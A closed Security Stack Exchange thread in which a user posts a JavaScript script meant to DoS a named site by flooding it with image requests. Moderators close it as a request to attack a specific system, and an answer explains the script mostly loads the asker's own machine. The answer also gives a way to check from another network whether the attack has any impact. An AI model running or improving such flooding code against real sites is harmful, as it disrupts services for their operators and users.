-4

Say I want to test the security of a site and I decide to send a DOS attack against it using a javascript script:

 function imgflood(link, uri) {  
   var TARGET = link;
   var URI = uri;
   var pic = new Image();
   var rand = Math.floor(Math.random() * 10000000);
   pic.src = 'http:'+TARGET+URI+rand+'=val';
 }
 function DOSATTACK(link){
 var domain = link;
 setInterval(function(){
   var i = 0;
   var img = document.createElement('img');
   img.setAttribute('src', 'ftp://' + domain + ':80/image' + new 
 Date().getTime() + i );
   document.body.appendChild(img);
 }, 1);  
 }

 setInterval(function(){
   imgflood("ASite.com","/index.html");
   DOSATTACK("ASite.com");

}, 500);

I have 2 questions: One, how would I be able to tell if I'm doing any damage, other than just the site lagging (because that could be my computer lagging because I'm making a ton of images for the site).

Two, would this script work at all or would it just use up my bandwidth until my computer crashed. I've noticed my computer might lag a bit but I can close the tab and get on another site easily.

closed as off-topic by Arminius, Teun Vink, Steffen Ullrich, tim, Serge Ballesta May 26 '17 at 20:27

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – Arminius, Teun Vink, Steffen Ullrich, tim, Serge Ballesta
If this question can be reworded to fit the rules in the help center, please edit the question.

  • 3
    Why would you want to start a DoS attack from your browser? (Also, we don't help with attacking specific targets - in this case you have even spelled out the site you want to attack in your code snippet.) – Arminius May 26 '17 at 1:33
2

To answer the two questions together. No they wouldn't - simply put your computer is unlikely to have the amount of needed egress bandwidth and even if it did you computer would be the bottleneck running the client side code and cause no impact to server.

You asked

"how would I be able to tell if I'm doing any damage, other than just the site lagging (because that could be my computer lagging because I'm making a ton of images for the site)."

You can tell if its working by checking the site from another network. If for example your phone using the mobile providers network, not your wifi, shows the site slowing down then it may be having an impact. - This again is unlikely

would this script work at all or would it just use up my bandwidth until my computer crashed. I've noticed my computer might lag a bit but I can close the tab and get on another site easily.

The script is unlikely to work, the code is client side and you are only likely to be putting impact on your local machine.

I'm also not sure why you would try and do this via the browser and/or JavaScript? Again the code is client side and the local computers memory and CPU will take the brunt of executing the code. It may be best you look into alternative methods as this approach seems to yield little to no result compared to the overheads.

If you were conducting real penetration testing then the likes of http://loadimpact.com are better used. They allow remote load tests to be conducted by pointing virtual clients to a web server. They can then replicate users on the system, given enough virtual users it could cause a site to crash. These sites are for solely testing your own sites or for sites you have legal authority to test.

Finally, not sure this is the place to get specific attack code as you have clearly given the domain in your code. I would suggest this forum is not the one you need to use.

  • Just curious as to why has this been down voted? – ISMSDEV May 26 '17 at 8:56
  • I'm not sure, this answer is great – The Gamer King May 26 '17 at 11:13
  • I'm not sure this answer is great. You didn't answer how OP can find out if he is successful, explain why JS in the browser is the wrong way and give context for the link in your last paragraph. That said, I wasn't the downvoter. – Arminius May 26 '17 at 12:22

Not the answer you're looking for? Browse other questions tagged or ask your own question.